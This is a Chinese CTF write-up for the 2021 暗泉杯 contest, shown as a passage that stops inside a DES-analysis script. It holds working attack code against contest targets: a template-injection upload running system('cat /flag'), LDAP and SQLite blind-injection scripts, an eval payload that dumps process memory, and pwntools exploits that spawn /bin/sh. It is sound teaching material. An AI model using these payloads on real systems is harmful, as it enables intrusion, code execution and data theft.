Back
Featured image of post 2021暗泉杯 Writeup

2021暗泉杯 Writeup

* 开头题目表示赛后补题

Web

[签到]flag

等一个一个拼出来,业余web手的笨B做题法

[萌]odd_upload

题目描述:目录结构与官方项目example相同

所以去查看smarty的目录结构,同时上传文件发现过滤了php相关的很多后缀,但.tpl没有过滤,同时可以控制上传的目录,所以向./templates目录上传header.tpl覆盖原有的内容,添加一句:{system('cat /flag')},之后再重新访问题目链接就能获取flag。

flag{1ae85554-c785-4321-8d77-0f68974929f8}

easyinject

源码中提示了用户名为guest,密码为EC77k8RHquAMLKAX,登陆后提示

The flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_

说实话这个提示看得我云里雾里,attribute我能理解,directory是啥?

按照常规sql注入没发现什么注入点,但是用fuzz跑的时候发现如果用户名含有’(‘或者’)‘就会报错:

Warning: ldap_search(): Search: Bad search filter in /var/www/html/index.php on line 48
Warning: ldap_get_entries() expects parameter 2 to be resource, boolean given in /var/www/html/index.php on line 49

有报错就好说了,后端用的是ldap协议,flag是某个用户的用户名,可以直接用通配符*盲注,由于有多个用户,需要递归查找,exp如下:

import requests
url = "http://47.106.172.144:2333/"
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789_'
def search(flag):
    for c in alphabet:
        # print(flag+c+'*')
        r = requests.get(url, params={'user':flag+c+'*', 'pass':'1'})
        if '找不到用户' in r.text:
            pass
        elif '查询用户不唯一' in r.text or '密码错误' in r.text:
            # print(c+'\n'+r.text)
            print(flag+c)
            search(flag+c)
        else:
            print('Error: ['+c+']\n'+r.text)
search('')

*hideandseek

和web没有啥关系,和二进制全是关系。

先附上打本地的DockerFile:

FROM php:8.1.0

ADD ./src /var/www/html
ADD ./flag /flag

WORKDIR /var/www/html/
RUN chmod -R  0555  /var/www/html/
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/var/www/html"]

这题上先读flag,然后把flag给覆盖了,你只有一次执行任意代码的机会。

思路上来一下子就指向了/proc,进程目录,我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc的博客有:

https://whoamianony.top/2021/06/09/Web%E5%AE%89%E5%85%A8/Proc%20%E7%9B%AE%E5%BD%95%E5%9C%A8%20CTF%20%E4%B8%AD%E7%9A%84%E5%A6%99%E7%94%A8/

https://xz.aliyun.com/t/10579

第一反应是读fd,看看文件的符号链接,如果fopen了,但没fclose就有可能在fd里找到,本地一试发现没有。

于是考虑利用别的,比如./exe,是一个ELF文件,但可惜strings ./exe没用,因为flag变量是在运行时读取的,生成elf是不存在这个字符串的,于是就读./mem/proc/{PID}/mem是可用于访问进程的内存的页面。但是发现读取失败了,报错如下:

cat mem: Input/output error

搜到了解释原因:https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux

/proc/$pid/mem显示$pid 内存的内容与进程中的映射方式相同,即伪文件中偏移x处的字节与进程中地址x处的字节相同。如果在进程中未映射地址,则从文件中的相应偏移量读取返回EIO(输入/输出错误)。例如,由于进程中的第一页永远不会被映射(因此取消引用NULL指针会完全失败,而不是无意中访问实际内存),因此读取 的第一个字节/proc/$pid/mem总是会产生 I/O 错误。

同时也拿到了一份用python拿内存信息的脚本:

import re
maps_file = open("/proc/self/maps", 'r')
mem_file = open("/proc/self/mem", 'rb', 0)
output_file = open("self.dump", 'wb')
for line in maps_file.readlines():  # for each mapped region
    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    if m.group(3) == 'r':  # if this is a readable region
        start = int(m.group(1), 16)
        end = int(m.group(2), 16)
        mem_file.seek(start)  # seek to region start
        chunk = mem_file.read(end - start)  # read region contents
        output_file.write(chunk)  # dump contents to standard output
maps_file.close()
mem_file.close()
output_file.close()

我盲猜flag就在内存里,但我也不是打二进制的,也不知道在哪,于是就打算把整个chunk全部正则匹配即可。

把上述代码翻译成php,修改部分内容如下:

<?php
$maps_file = fopen("/proc/self/maps", "r");
$mem_file = fopen("/proc/self/mem", "rb");
while(! feof($maps_file)) {
    $line = fgets($maps_file);//fgets()函数从文件指针中读取一行
    $m = preg_match("/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/", $line, $match);
    if($match[3] == 'r') {
        $start = hexdec($match[1]);
        $end = hexdec($match[2]);
        fseek($mem_file, $start);
        $chunk = fread($mem_file, $end - $start);
        if(preg_match("/flag\{.*\}/", $chunk)) {
            preg_match("/(flag\{.*\})/", $chunk, $ans);
            var_dump($ans);
        }

    }
}
fclose($maps_file);
fclose($mem_file);
?>

最后用base64+urlencode传参(有了安洵杯的教训,base64一定要编码),最终payload如下:

http://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22));

*wschat

前后端交互用的是socket io,参数格式用的是protobuf,前端的js加了很多混淆和反调试。可以在这个网站https://lelinhtinh.github.io/de4js/做个简单的恢复后再看。

贴一下我恢复后的还算是能看的关键代码:

<html>
...
<script src="//cdn.bootcss.com/socket.io/2.1.1/socket.io.js"></script>
<script src="protobuf.min.js"></script>
<script>
...
let sock = io.connect('ws://' + window.location.host + '/');
var WSMessage, wsmessage, buffer;
protobuf.load('chat.proto', function (err, _0x75e501) {
    if (err)
        throw err;
    LoginReq = _0x75e501.lookup('wschat.chat.LoginReq'), RegReq = _0x75e501.lookup('wschat.chat.RegReq'), ServerRsp = _0x75e501.lookup('wschat.chat.ServerRsp'), MsgReq = _0x75e501.lookup('wschat.chat.MsgReq'), LogoutReq = _0x75e501.lookup('wschat.chat.LogoutReq');
}), window.onload = function () {
    let _0x1f4215 = '',
        btn1 = document.getElementById('btn1'),
        btn2 = document.getElementById('btn2'),
        btn_send = document.getElementById('btn_send'),
        user = document.getElementById('user'),
        pass = document.getElementById('pass'),
        txt1 = document.getElementById('txt1'),
        ul1 = document.getElementById('ul1');
    btn1.onclick = function () {
        var _0x3689c9 = RegReq.create({
                'username': user.value,
                'password': pass.value
            }),
            _0x38c60d = RegReq.encode(_0x3689c9).finish();
        sock.emit('reg', _0x38c60d.slice().buffer);
    }, sock.on('reg_ret', (_0x77442, _0x4d8078) => {
        _0x77442 ? alert(_0x4d8078) : alert(_0x4d8078);
    }), btn2.onclick = function () {
        if (!/^\w{1,16}$/ ['test'](user.value)) {
            alert('用户名不符合规范');
            return;
        }
        if (!/^\w{1,16}$/ ['test'](pass.value)) {
            alert('密码不符合规范');
            return;
        }
        var _0xea8ad4 = LoginReq.create({
                'username': user.value,
                'password': pass.value
            }),
            _0x581e63 = LoginReq.encode(_0xea8ad4).finish();
        sock.emit('login', _0x581e63.slice().buffer);
    }, sock.on('login_ret', (_0x253784, _0x4ca143) => {
        _0x253784 ? alert(_0x4ca143) : (_0x1f4215 = user.value, alert(_0x4ca143));
    }), btn_send.onclick = function () {
        var _0x254c70 = MsgReq.create({
                'msg': txt1.value
            }),
            _0x56ebdb = MsgReq.encode(_0x254c70).finish();
        sock.emit('msg', _0x56ebdb.slice().buffer);
    }, sock.on('msg', (_0x2378cb, _0x4ce8f4) => {
        let _0x3ca130 = document.createElement('li');
        _0x3ca130.innerHTML = '<h3>' + _0x2378cb + '</h3><p>' + _0x4ce8f4 + '</p>', ul1.appendChild(_0x3ca130);
    }), sock.on('msg_ret', (_0x491ba1, _0x25dec1) => {
        if (_0x491ba1)
            alert('发送失败:' + _0x25dec1);
        else {
            let _0x4a7033 = document.createElement('li');
            _0x4a7033.className = 'mine', _0x4a7033.innerHTML = '<h3>' + _0x1f4215 + '</h3><p>' + txt1.value + '</p>', ul1.appendChild(_0x4a7033), txt1.value = '';
        }
    });
}, setInterval(function () {
    _0x6c017f();
}, 4000);
...
</script>
</html>

这段代码引入了socket io和protobuf,socket io有reg、reg_ret、login、login_ret、msg、msg_ret事件,传递的参数均使用protobuf打包,看一下protobuf定义文件chat.proto:

package wschat;

message chat {
 
     message LoginReq {
         required string username = 1;
         required string password = 2;
     }
     message RegReq {
         required string username = 1;
         required string password = 2;
     }
     message ServerRsp {
         required int32 retcode = 1;
         optional string reply = 2;
     }
     message MsgReq {
         required string msg = 1;
     }
     message LogoutReq {
     }
}

回到上面的代码,其中登录接口是前端校验,限制用户名密码只能为1-16位字母数字下划线,前端校验可以用burp替换为空。

题目中提示网站为nodejs + sqlite,尝试一下sqlite注入,首先注册一个用户名密码均为admin的账户,然后用户名输入admin’,密码admin,提示数据库出错,用户名尝试admin’–,提示登录成功,存在注入点。

由于是盲注,socket io实现又很慢,只能硬撸出一个脚本。参考 https://developers.google.com/protocol-buffers/docs/pythontutorial 实现protobuf,参考 https://python-socketio.readthedocs.io/en/latest/ 实现socket io。

https://developers.google.com/protocol-buffers/docs/downloads 下载protoc,然后把.proto文件编译成python文件:

protoc -I=chat.proto目录 --python_out=输出目录 chat.proto路径

然后运行脚本:

import socketio
import time
import string
import chat_pb2

url = 'http://4b89d5d3-7df8-4a8c-9352-08dbc410f835.nssctf.neusoft.edu.cn/'
sio = socketio.Client()
LoginReq = chat_pb2.chat.LoginReq()
RegReq = chat_pb2.chat.RegReq()
ServerRsp = chat_pb2.chat.ServerRsp()
MsgReq = chat_pb2.chat.MsgReq()
LogoutReq = chat_pb2.chat.LogoutReq()
# alphabet = string.ascii_letters + string.digits + '{_.,}'
# alphabet = string.printable + string.whitespace
alphabet = string.ascii_lowercase + string.digits

@sio.event
def reg_ret(err, data):
    global _err, _data, recvFlag
    # print(err, data)
    _err = err
    _data = data
    recvFlag = True

@sio.event
def login_ret(err, data):
    global _err, _data, recvFlag
    # print(err, data)
    _err = err
    _data = data
    recvFlag = True

@sio.event
def msg(title, content):
    print(title, content)

@sio.event
def msg_ret(err, data):
    print(err, data)

@sio.event
def connect():
    print('connection established')

@sio.event
def disconnect():
    print('disconnected from server')

def register(username='admin', password='admin'):
    RegReq.username = username
    RegReq.password = password
    sio.emit('reg', RegReq.SerializeToString())
    while not recvFlag:
        pass
    err, data = _err, _data
    init()
    return err, data

def login(username='admin', password='admin'):
    LoginReq.username = username
    LoginReq.password = password
    sio.emit('login', LoginReq.SerializeToString())
    while not recvFlag:
        pass
    err, data = _err, _data
    init()
    return err, data

def init():
    global recvFlag, _err, _data
    recvFlag = False
    _err = None
    _data = None

if __name__ == '__main__':
    sio.connect(url)
    init()
    register()

    # payload = "select group_concat(tbl_name) from sqlite_master where type='table'"
    # payload = "select sql from sqlite_master where type='table' and tbl_name='f16g_1s_1n_th1s_table'"
    payload = "select group_concat(f16g) from f16g_1s_1n_th1s_table"
    length = 0
    for i in range(1, 100):
        err, data = login("admin' and length((%s))=%d--"%(payload, i))
        # print(err, data)
        if err == 1:
            pass
        elif err == 0:
            length = i
            break
        else:
            print('Error!', err, data)
    print('Length:', length)
    # length = 6
    flag = ''
    for i in range(1, length+1):
        found = False
        for c in alphabet:
            err, data = login("admin' and hex(substr((%s),%d,1))='%s'--"%(payload, i, c.encode().hex()))
            # print(flag+c, err, data)
            if err == 1:
                pass
            elif err == 0:
                found = True
                flag += c
                print(flag)
                break
            else:
                print('Error!', err, data)
        if not found:
            flag += '\0'
    # version: 3.34.0
    # table: user_table,sqlite_sequence,f1ag_not_in_here,test_table,f16g_1s_1n_th1s_table
    # column: "f16g" TEXT
    # f ag 34e7472f ffcf 400d aec3 a3b4fe390c1d 
    # flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d}
    sio.disconnect()

吐槽一下,socket io是基于事件触发的,有点类似于智能合约,请求与响应没有严格的对应关系,只能把请求和响应封装成一个原子操作,模拟传统的HTTP请求,代价就是速度很慢很慢。sql注入部分就是常见的sqlite注入了,但是爆flag的时候不知道为什么有的位即使把0-255跑遍也跑不出来,猜测可能是使用了中文,一个字符不只一个字节,这种情况下的爆破时间过长,所以在脚本中如果常用字符找不到就用\0占位,缺失的字符按照uuid的格式猜就行了。

flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d}

Pwn

[签到]NssShop

随便输了个数

justdoit

有一个汇编在调用read_long函数的最后,配合上atol可以任意往上往下更改栈的位置,利用这一点在栈上构造rop用ret2libc拿shell

add rbp rax

以下是exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process("./justdoit.1")
p = remote("47.106.172.144", 65004)
elf = ELF("./justdoit.1")
libc = ELF("./libc-2.23.so")
pop_rdi = 0x00000000004012b3
main = 0x4011D5

p.recvuntil("name?")
p.send(p64(main)+ p64(main) + p64(main))
p.recvuntil("s??")
p.sendline(b"-24")

p.recvuntil("name?")
p.send(p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]))
p.recvuntil("s??")
p.sendline(b"-40")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
print(hex(libc.address))

p.recvuntil("name?")
p.send(p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.sym['system']))
p.recvuntil("s??")
p.sendline(b"-40")

p.interactive()

reallNeedGoodLuck

任意地址四字节写, 改error的got表为main,改atoi的got表为system,撞上的几率很大,直接手动爆破就行

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc-2.23.so")

p=remote("47.106.172.144", 65003)
# p = process("./reallNeedGoodLuck.1")
# gdb.attach(p)
p.recvuntil("good")
p.send(b"\xa9\x11\x40\x00")
p.recvuntil("luck!")
p.sendline(b"4210744")


p.recvuntil("good")
p.send(b"\x00\x00\xa0\xf3")
p.recvuntil("luck!")
p.sendline(b"4210734")
print(hex(libc.sym["system"]))
p.send(b"\x00\x00\x00\x00")
p.sendline(b"/bin/sh\x00")
p.send(b"\x00\x00\x00\x00")
p.sendline(b"/bin/sh\x00")
p.interactive()

Reverse

[签到]Signin

[萌新]happyCTF

s = 'rxusoCqxw{yqK`{KZqag{r`i'
for i in s:
    print(chr(ord(i)^0x14),end='')
#flag{Welcome_to_Neusoft}

Remember Crypt 4

rc4加密,根据密钥解密即可

def __rc4_init(key):
    keylength = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_crypt(key, data):
    S = __rc4_init(key)
    i = j = 0
    result = b''
    for a in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = (a ^ S[(S[i] + S[j]) % 256]).to_bytes(1, 'big')
        result += k
    return result

l = [0x9E, 0xE7, 0x30, 0x5F, 0xA7, 0x01, 0xA6, 0x53, 0x59, 0x1B, 0x0A, 0x20, 0xF1, 0x73, 0xD1, 0x0E, 0xAB, 0x09, 0x84, 0x0E, 0x8D, 0x2B]
n = []
for i in l:
    n.append(i^0x22)

from libnum import n2s, s2n
def convert(k):
    ret = []
    while k > 0:
        ret.append(k & 0xff)
        k >>= 8
    return ret[::-1]
print(rc4_crypt(convert(s2n('12345678abcdefghijklmnopqrspxyz')),n))
#flag{nice_to_meet_you}

EasyRe

用信号量实现的VM,先手动反汇编

code = [
    17, 52, 0, 42, 5, 16, 20, 9, 23, 0, 36, 5, 3, 17, 29, 6, 0, 0, 5, 3, 
    17, 64, 6, 0, 72, 5, 17, 29, 23, 14, 1, 21, 4, 15, 1, 22, 2, 0, 0, 4, 
    3, 5, 16, 20, 50, 5, 9, 2, 19, 29, 5, 18, 21, 4, 16, 20, 61, 10, 1, 
    19, 52, 3, 4, 18, 14, 1, 21, 4, 7, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20, 
    85, 5, 9, 1, 19, 64, 5, 18
]

sub_400E1D = "push({});"
sub_400E78 = "pop({});"
sub_400F16 = "{} += {};"
sub_400FA8 = "{} -= {};"

eip = 0 # 20
eax = 0 # 16
ebx = 0 # 17
ecx = 0 # 18
edx = 0 # 19
memory = [2] * 0x1000
memory2 = [1] * 50
while eip < len(code):
    cur_op = code[eip]
    if cur_op == 0:
        cur_arg = code[eip + 1]
        print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
        edx += 1
        memory[edx] = cur_arg
        eip += 1
    elif cur_op == 1:
        cur_arg = "eax"
        print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
        edx += 1
        memory[edx] = eax
    elif cur_op == 2:
        cur_arg = "ebx"
        print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
        edx += 1
        memory[edx] = ebx
    elif cur_op == 3:
        cur_arg = "ecx"
        print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
        edx += 1
        memory[edx] = ecx
    elif cur_op == 4:
        cur_arg = "eax"
        edx -= 1
        print ("_%02X:" % eip, sub_400E78.format(cur_arg))
        eax = memory[edx]
    elif cur_op == 5:
        cur_arg = "ebx"
        edx -= 1
        print ("_%02X:" % eip, sub_400E78.format(cur_arg))
        ebx = memory[edx]
    elif cur_op == 6:
        cur_arg = "ecx"
        edx -= 1
        print ("_%02X:" % eip, sub_400E78.format(cur_arg))
        ecx = memory[edx]
    elif cur_op == 7:
        eax += ebx
        print ("_%02X:" % eip, "eax += ebx;")
    elif cur_op == 8:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400F16.format("eax", cur_arg))
        eax += cur_arg
        eip += 1
    elif cur_op == 9:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400F16.format("ebx", cur_arg))
        ebx += cur_arg
        eip += 1
    elif cur_op == 10:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400F16.format("ecx", cur_arg))
        ecx += cur_arg
        eip += 1
    elif cur_op == 11:
        eax -= ebx
        print ("_%02X:" % eip, "eax -= ebx;")
    elif cur_op == 12:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400FA8.format("eax", cur_arg))
        eax -= cur_arg
        eip += 1
    elif cur_op == 13:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400FA8.format("ebx", cur_arg))
        ebx -= cur_arg
        eip += 1
    elif cur_op == 14:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, sub_400FA8.format("ecx", cur_arg))
        eip += 1
    elif cur_op == 15:
        eax ^= ebx
        print ("_%02X:" % eip, f"eax ^= ebx;")
    elif cur_op == 16:
        zf = (eax == ebx)
        print ("_%02X:" % eip, f"zf = (eax == ebx);")
    elif cur_op == 17:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, f"push(eip+2); eip = {hex(cur_arg)};")
        memory[edx] = eip
        edx += 1
        eip += 1
    elif cur_op == 18:
        edx -= 1
        print ("_%02X:" % eip, f"pop(eip);")
    elif cur_op == 19:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, f"eip = {hex(cur_arg)};")
        eip += 1
    elif cur_op == 20:
        cur_arg = code[eip + 1]
        print ("_%02X:" % eip, f"if zf:    eip = {hex(cur_arg)};")
        eip += 1
    elif cur_op == 21:
        memory[edx] = memory2[ecx]
        print ("_%02X:" % eip, f"push(memory2[ecx]);")
        edx += 1
    elif cur_op == 22:
        edx -= 1
        memory2[ecx] = memory[edx]
        print ("_%02X:" % eip, f"pop(memory2[ecx]);")
    elif cur_op == 23:
        print ("_%02X:" % eip, "break;")
    eip += 1

拿到反汇编结果

_00: push(eip+2); eip = 0x34;
_02: push(42);
_04: pop(ebx);
_05: zf = (eax == ebx);
_06: if zf:    eip = 0x9;
_08: break;
_09: push(36);
_0B: pop(ebx);
_0C: push(ecx);
_0D: push(eip+2); eip = 0x1d;
_0F: pop(ecx);
_10: push(0);
_12: pop(ebx);
_13: push(ecx);
_14: push(eip+2); eip = 0x40;
_16: pop(ecx);
_17: push(72);
_19: pop(ebx);
_1A: push(eip+2); eip = 0x1d;
_1C: break;
_1D: ecx -= 1;
_1F: push(memory2[ecx]);
_20: pop(eax);
_21: eax ^= ebx;
_22: push(eax);
_23: pop(memory2[ecx]);
_24: push(ebx);
_25: push(0);
_27: pop(eax);
_28: push(ecx);
_29: pop(ebx);
_2A: zf = (eax == ebx);
_2B: if zf:    eip = 0x32;
_2D: pop(ebx);
_2E: ebx += 2;
_30: eip = 0x1d;
_32: pop(ebx);
_33: pop(eip);
_34: push(memory2[ecx]);
_35: pop(eax);
_36: zf = (eax == ebx);
_37: if zf:    eip = 0x3d;
_39: ecx += 1;
_3B: eip = 0x34;
_3D: push(ecx);
_3E: pop(eax);
_3F: pop(eip);
_40: ecx -= 1;
_42: push(memory2[ecx]);
_43: pop(eax);
_44: eax += ebx;
_45: push(eax);
_46: pop(memory2[ecx]);
_47: push(ebx);
_48: push(0);
_4A: pop(eax);
_4B: push(ecx);
_4C: pop(ebx);
_4D: zf = (eax == ebx);
_4E: if zf:    eip = 0x55;
_50: pop(ebx);
_51: ebx += 1;
_53: eip = 0x40;
_55: pop(ebx);
_56: pop(eip);

发现其实是调用了几个函数,分别在0x34、0x40、0x1D

0x34处的函数判断了长度,0x1D处的函数从后往前异或数字,每次加2,0x40处的函数从后往前进行加法,数字每次加1

所以最后的加密算法为:首先从后往前 ^36, ^38, ^40,随后从后往前+0, +1, +2…,最后从后往前 ^72, ^74, ^76…

反向解密即可

s2 = [
    0xA3, 0xD8, 0xAC, 0xA9, 0xA8, 0xD6, 0xA6, 0xCD, 0xD0, 0xD5,
    0xF7, 0xB7, 0x9C, 0xB3, 0x31, 0x2D, 0x40, 0x5B, 0x4B, 0x3A,
    0xFD, 0x57, 0x42, 0x5F, 0x58, 0x52, 0x54, 0x1B, 0x0C, 0x78,
    0x39, 0x2D, 0xD9, 0x3D, 0x35, 0x1F, 0x09, 0x41, 0x40, 0x47,
    0x42, 0x11
]

flag = ''
x = 36
y = 0
z = 72

for i in s2[::-1]:
    flag += chr(((i ^ z) - y) ^ x)
        x += 2
        y += 1
        z += 2

print (flag[::-1])
# 'flag{Now_Y0u_Know_th4_Signa1_0f_Linux!!!!}'

Crypto

[萌新]素数

使用gmpy2生成10个大素数,然后依次提交即可

[签到]键盘侠

根据题目名称,猜测和键盘有关系

将密文放入键盘的对应位置后,发现一组密文在键盘上构成一个图案,这个图案是一个字母

比如UYTGBNM在键盘上组成一个C,同样的方式和可以还原出其他字母

silent_peeper

离散对数,考虑幂只有40bit,用BSGS即可解出答案。

sage: p = 17480715736546509273132356167852223654917350291331787539356496312333028105252468745075491024000992015452563532
....: 520952698743383378549938420481917954954410649849158983419586000890687503941868419125253760412312965974672161440234
....: 6449135195832955793815709136053198207712511838753919608894095907732099313139446299843
....: g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307
....: 185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366
....: 973332463469104730271236078593527144954324116802080620822212777139186990364810367977
....:
sage: bsgs(mod(g,p),mod(A,p),(0,1<<40))
822690494337
sage: bsgs(mod(g,p),mod(B,p),(0,1<<40))
621209248538
sage: key = pow(A, 621209248538 ,p)
sage: key
49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756
>>> from Crypto.Util.number import *
>>> from Crypto.Cipher import AES
>>> ciphertext = 0xed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c
>>> key = 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756
>>> key = long_to_bytes(key)[:16]
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> cipher.decrypt(int.to_bytes(ciphertext, ciphertext.bit_length()//8, 'big'))
b'flag{21384433-0dc7-413b-9d09-64cc97c99730}\x06\x06\x06\x06\x06\x06'

EzDES

题目是个DES一轮差分,有数学公式: $ L_1=R_0,R_1=L_0\oplus f(R_0,K_0) $,其中L1R1,L0R0都是已知量,只需要逆推到s盒附近,通过s盒的结果爆破s盒的输入即可,有65536种可能,然后用剩下几个明密文对验证,排除出剩一种结果。主要代码如下(请将S盒,IP盒等内容分别命名为IP_1.txt,sbox.txt等放入文件src子目录下,详情见代码)

#########################################################################
# Get roundKey
#########################################################################
# get the move number
def getMoveNum():
    res = [0] * 16
    for i in range(16):
        if i == 0 or i == 1 or i == 8 or i == 15:
            res[i] = 1
        else:
            res[i] = 2
    return res
# get the PC_1 table and PC_2 table
def getPC():
    PC_1_str = open('./src/PC_1.txt', 'r').read().split()
    PC_2_str = open('./src/PC_2.txt', 'r').read().split()
    PC_1 = [0] * len(PC_1_str)
    PC_2 = [0] * len(PC_2_str)
    for i in range(len(PC_1_str)):
        PC_1[i] = int(PC_1_str[i])
    for i in range(len(PC_2_str)):
        PC_2[i] = int(PC_2_str[i])
    return PC_1, PC_2
# cyclic shift to the left
def leftRow(arr, n):
    temp = [0] * n
    length = len(arr)
    for i in range(n):
        temp[i] = arr[i]
    for i in range(length):
        if i < length - n:
            arr[i] = arr[i + n]
        else:
            arr[i] = temp[i - length + n]
    return arr
# get the k0 - k16
def genKey(key):
    C = [0] * 28
    D = [0] * 28
    K = [0] * 56
    roundKey = [[0]*48 for i in range(16)]
    PC_1, PC_2 = getPC()
    moveNum = getMoveNum()
    # get K+
    for i in range(56):
        K[i] = key[PC_1[i] - 1]
    # get C0 and D0
    for i in range(28):
        C[i] = K[i]
        D[i] = K[i + 28]
    # get roundKey
    for i in range(16):
        C = leftRow(C, moveNum[i])
        D = leftRow(D, moveNum[i])
        for j in range(48):
            if PC_2[j] <= 28:
                roundKey[i][j] = C[PC_2[j] - 1]
            else:
                roundKey[i][j] = D[PC_2[j] - 28 -1]
    return roundKey
#########################################################################
# Encrypt and Decrypt
#########################################################################
#get the IP and PC_1 table
def getIP():
    IP_str = open('./src/IP.txt', 'r').read().split()
    IP_1_str = open('./src/IP_1.txt', 'r').read().split()
    IP = [0] * len(IP_str)
    IP_1 = [0] * len(IP_1_str)
    for i in range(len(IP_str)):
        IP[i] = int(IP_str[i])
    for i in range(len(IP_1_str)):
        IP_1[i] = int(IP_1_str[i])
    return IP, IP_1
# l1 xor l2
def xor(l1, l2):
    res = [0] * len(l1)
    for i in range(len(l1)):
        res[i] = l1[i] ^ l2[i]
    return res
# get the Extend table
def getE():
    E_str = open('./src/extend.txt', 'r').read().split()
    E = [0] * len(E_str)
    for i in range(len(E_str)):
        E[i] = int(E_str[i])
    return E
# extend R from 32 bit to 48 bit
def extend(R):
    res = [0] * 48
    E = getE()
    for i in range(48):
        res[i] = R[E[i] - 1]
    return res
# get sbox in 3 dim
def getSbox():
    S_str = open('./src/sbox.txt', 'r').read().split()
    S = [[[0]*16 for i in range(4)]for i in range(8)]
    l = 0
    for i in range(8):
        for j in range(4):
            for k in range(16):
                S[i][j][k] = int(S_str[l])
                l += 1
    return S
# number in dec to number in bit
def d2b(n):
    res = ''
    while n > 0:
        res += chr(n % 2 + ord('0'))
        n = n // 2
    while len(res) < 4:
        res += '0'
    return res[::-1]
# sbox replacement
def sbox(ipt):
    S = getSbox()
    res = [0] * 32
    i, l = 0, 0
    while i < 48:
        j = ipt[i] * 2 + ipt[i + 5]
        k = ipt[i + 1] * 8 + ipt[i + 2] * 4 + ipt[i + 3] * 2 + ipt[i + 4]
        temp = d2b(S[l][j][k])
        for m in range(4):
            res[m + l * 4] = int(temp[m])
        l += 1
        i += 6
    return res
# get Pbox
def getPbox():
    P_str = open('./src/pbox.txt', 'r').read().split()
    P = [0] * len(P_str)
    for i in range(len(P_str)):
        P[i] = int(P_str[i])
    return P
# pbox replacement
def pbox(ipt):
    P = getPbox()
    res = [0] * 32
    for i in range(32):
        res[i] = ipt[P[i] - 1]
    return res
# f function
def f(R, K):
    # extend R
    E_R = extend(R)
    # E_R xor K
    afterADD = xor(E_R, K)
